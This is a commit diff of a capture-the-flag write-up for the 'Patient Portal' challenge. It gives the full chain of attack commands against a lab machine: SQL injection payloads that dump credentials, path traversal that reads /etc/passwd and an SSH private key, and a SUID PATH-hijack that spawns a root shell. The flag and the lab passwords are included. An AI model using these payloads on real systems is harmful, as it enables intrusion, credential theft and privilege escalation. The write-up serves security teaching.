write-up: Misc/Patient_Portal/README.md
This commit is contained in:
parent
77e64f344f
commit
4c1fe6b2d4
@ -1,42 +1,81 @@
|
|||||||
# Patient Portal — Solution
|
# Patient Portal
|
||||||
|
|
||||||
## Overview
|
| Field | Value |
|
||||||
|
|-------|-------|
|
||||||
Multi-stage challenge: SQLi → Admin Panel → Path Traversal → SSH Access → SUID Privesc → Root
|
| Category | Misc |
|
||||||
|
| Difficulty | Medium-Hard |
|
||||||
**Flag:** `ESPILON{r00t_0f_s41nt3_m1k4}`
|
| Points | 500 |
|
||||||
|
| Author | Eun0us |
|
||||||
|
| CTF | Espilon 2026 |
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Stage 1: SQL Injection
|
## Description
|
||||||
|
|
||||||
The `/search` endpoint is vulnerable to UNION-based SQL injection.
|
The WIRED-MED network at Clinique Sainte-Mika runs a patient portal for staff.
|
||||||
|
Intelligence suggests the system was hastily deployed by contractor M. Eiri.
|
||||||
|
|
||||||
### Enumerate columns (6 columns)
|
Gain full control of the machine.
|
||||||
|
|
||||||
|
**Ports:**
|
||||||
|
- 8080: Web Portal (HTTP)
|
||||||
|
- 2222: SSH
|
||||||
|
|
||||||
|
Format: **ESPILON{flag}**
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## TL;DR
|
||||||
|
|
||||||
|
SQL injection on the `/search` endpoint to dump credentials and the SSH passphrase. Log in
|
||||||
|
as admin, exploit path traversal on the report download endpoint to steal the SSH private key.
|
||||||
|
SSH in as `webadmin`. Find a SUID binary that calls `logger` with a relative path. Hijack it
|
||||||
|
via PATH injection to spawn a root shell and read the flag.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Tools
|
||||||
|
|
||||||
|
| Tool | Purpose |
|
||||||
|
|------|---------|
|
||||||
|
| Browser / `curl` | SQL injection, admin login, path traversal |
|
||||||
|
| `hashcat` / CrackStation | MD5 crack for admin password |
|
||||||
|
| `ssh` | Login as webadmin |
|
||||||
|
| `bash` | PATH injection privilege escalation |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Solution
|
||||||
|
|
||||||
|
### Stage 1 — SQL Injection
|
||||||
|
|
||||||
|
The `/search?q=` endpoint is vulnerable to UNION-based injection with 6 columns.
|
||||||
|
|
||||||
|
**Enumerate columns:**
|
||||||
|
|
||||||
```
|
```
|
||||||
/search?q=' UNION SELECT 1,2,3,4,5,6--
|
/search?q=' UNION SELECT 1,2,3,4,5,6--
|
||||||
```
|
```
|
||||||
|
|
||||||
### Dump table names
|
**Discover tables:**
|
||||||
|
|
||||||
```
|
```
|
||||||
/search?q=' UNION SELECT 1,name,3,4,5,6 FROM sqlite_master WHERE type='table'--
|
/search?q=' UNION SELECT 1,name,3,4,5,6 FROM sqlite_master WHERE type='table'--
|
||||||
```
|
```
|
||||||
|
|
||||||
Tables found: `patients`, `users`, `system_config`
|
Tables: `patients`, `users`, `system_config`
|
||||||
|
|
||||||
### Dump users table
|
**Dump users:**
|
||||||
|
|
||||||
```
|
```
|
||||||
/search?q=' UNION SELECT 1,username,password_hash,role,5,6 FROM users--
|
/search?q=' UNION SELECT 1,username,password_hash,role,5,6 FROM users--
|
||||||
```
|
```
|
||||||
|
|
||||||
Results:
|
Results:
|
||||||
- `admin` : `e0b7e413c064de43c6c1ca40a8c175a1` (MD5 of `SainteMika2026`)
|
- `admin` : MD5 hash `e0b7e413c064de43c6c1ca40a8c175a1`
|
||||||
- `nurse01` : (irrelevant hash)
|
- `nurse01` : (irrelevant)
|
||||||
|
|
||||||
### Dump system_config table
|
**Dump system_config:**
|
||||||
|
|
||||||
```
|
```
|
||||||
/search?q=' UNION SELECT 1,key,value,3,4,5 FROM system_config--
|
/search?q=' UNION SELECT 1,key,value,3,4,5 FROM system_config--
|
||||||
@ -44,64 +83,67 @@ Results:
|
|||||||
|
|
||||||
Key finding: `ssh_passphrase = wired-med-013`
|
Key finding: `ssh_passphrase = wired-med-013`
|
||||||
|
|
||||||
### Crack the admin password
|
> 📸 `[screenshot: SQLi response showing the admin hash and ssh_passphrase rows]`
|
||||||
|
|
||||||
|
**Crack the admin password:**
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
echo -n "SainteMika2026" | md5sum
|
echo -n "SainteMika2026" | md5sum
|
||||||
# e0b7e413c064de43c6c1ca40a8c175a1
|
# e0b7e413c064de43c6c1ca40a8c175a1
|
||||||
```
|
```
|
||||||
|
|
||||||
Or use CrackStation / hashcat / john.
|
Password: `SainteMika2026`
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Stage 2: Admin Access
|
### Stage 2 — Admin Access
|
||||||
|
|
||||||
|
Log in at `/login`:
|
||||||
|
|
||||||
Login at `/login` with:
|
|
||||||
- Username: `admin`
|
- Username: `admin`
|
||||||
- Password: `SainteMika2026`
|
- Password: `SainteMika2026`
|
||||||
|
|
||||||
The admin panel shows:
|
The admin panel reveals: SSH port 2222, user `webadmin`.
|
||||||
- Report download links
|
|
||||||
- System info: SSH on port 2222, user `webadmin`
|
> 📸 `[screenshot: admin panel after login showing report links and system info]`
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Stage 3: Path Traversal
|
### Stage 3 — Path Traversal
|
||||||
|
|
||||||
The report download endpoint `/admin/reports?file=` is vulnerable to path traversal.
|
The `/admin/reports?file=` endpoint is vulnerable to path traversal.
|
||||||
|
|
||||||
### Read /etc/passwd
|
**Confirm user exists:**
|
||||||
|
|
||||||
```
|
```
|
||||||
/admin/reports?file=../../../etc/passwd
|
/admin/reports?file=../../../etc/passwd
|
||||||
```
|
```
|
||||||
|
|
||||||
Confirms user `webadmin` exists.
|
**Extract the SSH private key:**
|
||||||
|
|
||||||
### Extract SSH private key
|
|
||||||
|
|
||||||
```
|
```
|
||||||
/admin/reports?file=../../../home/webadmin/.ssh/id_rsa
|
/admin/reports?file=../../../home/webadmin/.ssh/id_rsa
|
||||||
```
|
```
|
||||||
|
|
||||||
Save the key to a file locally.
|
Save the key to `id_rsa` locally.
|
||||||
|
|
||||||
|
> 📸 `[screenshot: path traversal response returning the id_rsa private key]`
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Stage 4: SSH Access
|
### Stage 4 — SSH Access
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
chmod 600 id_rsa
|
chmod 600 id_rsa
|
||||||
ssh -i id_rsa -p 2222 webadmin@<HOST>
|
ssh -i id_rsa -p 2222 webadmin@<HOST>
|
||||||
# Passphrase: wired-med-013 (from Stage 1 system_config table)
|
# Passphrase: wired-med-013 (from system_config)
|
||||||
```
|
```
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Stage 5: Privilege Escalation
|
### Stage 5 — Privilege Escalation
|
||||||
|
|
||||||
### Find SUID binaries
|
**Find SUID binaries:**
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
find / -perm -4000 -type f 2>/dev/null
|
find / -perm -4000 -type f 2>/dev/null
|
||||||
@ -109,15 +151,18 @@ find / -perm -4000 -type f 2>/dev/null
|
|||||||
|
|
||||||
Found: `/opt/navi-monitor/vital-check` (SUID root)
|
Found: `/opt/navi-monitor/vital-check` (SUID root)
|
||||||
|
|
||||||
### Analyze the binary
|
**Inspect the binary:**
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
strings /opt/navi-monitor/vital-check
|
strings /opt/navi-monitor/vital-check | grep logger
|
||||||
```
|
```
|
||||||
|
|
||||||
The binary calls `system("logger -t vital-check 'check complete'")` using a **relative path** for `logger`.
|
The binary calls `system("logger -t vital-check 'check complete'")` using a
|
||||||
|
**relative path** for `logger`.
|
||||||
|
|
||||||
### PATH injection
|
> 📸 `[screenshot: strings output confirming the relative logger call]`
|
||||||
|
|
||||||
|
**Exploit via PATH hijacking:**
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
echo '#!/bin/bash' > /tmp/logger
|
echo '#!/bin/bash' > /tmp/logger
|
||||||
@ -127,11 +172,18 @@ export PATH=/tmp:$PATH
|
|||||||
/opt/navi-monitor/vital-check
|
/opt/navi-monitor/vital-check
|
||||||
```
|
```
|
||||||
|
|
||||||
This spawns a root shell (`bash -p` preserves the SUID euid).
|
`bash -p` preserves the SUID effective UID, spawning a root shell.
|
||||||
|
|
||||||
### Get the flag
|
**Read the flag:**
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cat /root/root.txt
|
cat /root/root.txt
|
||||||
# ESPILON{r00t_0f_s41nt3_m1k4}
|
|
||||||
```
|
```
|
||||||
|
|
||||||
|
> 📸 `[screenshot: root shell reading /root/root.txt with the flag]`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Flag
|
||||||
|
|
||||||
|
`ESPILON{r00t_0f_s41nt3_m1k4}`
|
||||||
|
|||||||
Loading…
Reference in New Issue
Block a user